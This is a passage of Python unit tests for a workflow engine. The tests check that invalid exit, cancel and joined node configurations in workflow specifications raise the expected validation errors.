'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
installed = Workflow.Spec.install(spec)
trans = installed.spec.course_specs.get(code='').node_specs.get(code='loop-1').outbounds.get(
action_name='loop'
)
trans.origin = installed.spec.course_specs.get(code='').node_specs.get(code='exit')
trans.save()
installed.spec.course_specs.get(code='').node_specs.get(code='exit').full_clean()
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasOutbounds.CODE,
'Invalid subclass of ValidationError raised')
def test_exit_node_without_inbounds_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasNoInbound.CODE,
'Invalid subclass of ValidationError raised')
def test_exit_node_with_branches_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasBranches.CODE,
'Invalid subclass of ValidationError raised')
def test_exit_node_with_execute_permission_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
'execute_permission': 'sample.cancel_task',
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'execute_permission')
def test_exit_node_with_joiner_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin'
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
'joiner': 'sample.support.dummy_joiner',
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'joiner')
def test_exit_node_without_exit_value_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit',
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'exit_value')
# testing cancel node
def test_cancel_node_with_inbounds_is_bad(self):
with self.assertRaises(ValidationError) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
installed = Workflow.Spec.install(spec)
trans = installed.spec.course_specs.get(code='').node_specs.get(code='loop-1').outbounds.get(
action_name='loop'
)
trans.destination = installed.spec.course_specs.get(code='').node_specs.get(code='cancel')
trans.save()
installed.spec.course_specs.get(code='').node_specs.get(code='cancel').full_clean()
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasInbounds.CODE,
'Invalid subclass of ValidationError raised')
def test_cancel_node_with_outbounds_is_bad(self):
with self.assertRaises(ValidationError) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
installed = Workflow.Spec.install(spec)
trans = installed.spec.course_specs.get(code='').node_specs.get(code='loop-1').outbounds.get(
action_name='loop'
)
trans.origin = installed.spec.course_specs.get(code='').node_specs.get(code='cancel')
trans.save()
installed.spec.course_specs.get(code='').node_specs.get(code='cancel').full_clean()
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasOutbounds.CODE,
'Invalid subclass of ValidationError raised')
def test_cancel_node_with_branches_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
'branches': ['foo', 'bar'],
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasBranches.CODE,
'Invalid subclass of ValidationError raised')
def test_cancel_node_with_exit_value_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel', 'exit_value': 101,
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'exit_value')
def test_cancel_node_with_joiner_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin'
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
'joiner': 'sample.support.dummy_joiner',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'joiner')
def test_cancel_node_with_execute_permission_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
'execute_permission': 'sample.cancel_task',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'execute_permission')
# testing joined node
def test_joined_node_with_inbounds_is_bad(self):
with self.assertRaises(ValidationError) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-3', 'name': 'Loop-3',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
'branches': ['foo', 'bar'], 'joiner': 'sample.support.dummy_joiner',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-3', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop-to-1',
}, {
'origin': 'loop-2', 'destination': 'loop-3', 'name': 'Loop', 'action_name': 'loop-to-3',
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'input', 'name': 'Input',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
}],
'transitions': [{
'origin': 'origin', 'destination': 'input', 'name': 'Initial transition',
'permission': 'sample.start_task',
}, {
'origin': 'input', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task', 'action_name': 'end'
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'input', 'name': 'Input',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
}],
'transitions': [{
'origin': 'origin', 'destination': 'input', 'name': 'Initial transition',
'permission': 'sample.start_task',
}, {
'origin': 'input', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task', 'action_name': 'end'
}]
}]}
installed = Workflow.Spec.install(spec)
course_spec = installed.spec.course_specs.get(code='bar')
course_spec.node_specs.get(code='origin').outbounds.create(
destination=course_spec.node_specs.get(code='joined'),
name='Join Transition'
)
course_spec.node_specs.get(code='joined').full_clean()
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasInbounds.CODE,
'Invalid subclass of ValidationError raised')
def test_joined_node_with_outbounds_is_bad(self):
with self.assertRaises(ValidationError) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-3', 'name': 'Loop-3',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
'branches': ['foo', 'bar'], 'joiner': 'sample.support.dummy_joiner',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-3', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop-to-1',
}, {
'origin': 'loop-2', 'destination': 'loop-3', 'name': 'Loop', 'action_name': 'loop-to-3',
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'input', 'name': 'Input',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
}],
'transitions': [{
'origin': 'origin', 'destination': 'input', 'name': 'Initial transition',
'permission': 'sample.start_task',
}, {
'origin': 'input', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task', 'action_name': 'end'
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'input', 'name': 'Input',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
}],
'transitions': [{
'origin': 'origin', 'destination': 'input', 'name': 'Initial transition',
'permission': 'sample.start_task',
}, {
'origin': 'input', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task', 'action_name': 'end'
}]
}]}
installed = Workflow.Spec.install(spec)
course_spec = installed.spec.course_specs.get(code='bar')
course_spec.node_specs.get(code='exit').inbounds.create(
origin=course_spec.node_specs.get(code='joined'),
name='Post-Join Transition'
)
course_spec.node_specs.get(code='joined').full_clean()
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasOutbounds.CODE,
'Invalid subclass of ValidationError raised')
def test_joined_node_with_branches_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-3', 'name': 'Loop-3',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
'branches': ['foo', 'bar'], 'joiner': 'sample.support.dummy_joiner',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-3', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop-to-1',
}, {
'origin': 'loop-2', 'destination': 'loop-3', 'name': 'Loop', 'action_name': 'loop-to-3',
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
'branches': ['baz', 'bat']
}, {
'type': NodeSpec.SPLIT, 'code': 'split', 'name': 'Split',
'branches': ['baz', 'bat']
}],
'transitions': [{
'origin': 'origin', 'destination': 'split', 'name': 'Initial transition',
'permission': 'sample.start_task',
}, {
'origin': 'split', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'end',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'input', 'name': 'Input',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
}],
'transitions': [{
'origin': 'origin', 'destination': 'input', 'name': 'Initial transition',
'permission': 'sample.start_task',
}, {
'origin': 'input', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task', 'action_name': 'end'
}]
}, {
'code': 'baz', 'name': 'Baz',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'input', 'name': 'Input',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
}],
'transitions': [{
'origin': 'origin', 'destination': 'input', 'name': 'Initial transition',
'permission': 'sample.start_task',
}, {
'origin': 'input', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task', 'action_name': 'end'
}]
}, {
'code': 'bat', 'name': 'Bat',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'input', 'name': 'Input',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
}],
'transitions': [{
'origin': 'origin', 'destination': 'input', 'name': 'Initial transition',
'permission': 'sample.start_task',
}, {
'origin': 'input', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task', 'action_name': 'end'
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasBranches.CODE,
'Invalid subclass of ValidationError raised')
def test_joined_node_with_exit_value_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-3', 'name': 'Loop-3',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
'branches': ['foo', 'bar'], 'joiner': 'sample.support.dummy_joiner',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-3', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop-to-1',
}, {
'origin': 'loop-2', 'destination': 'loop-3', 'name': 'Loop', 'action_name': 'loop-to-3',
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
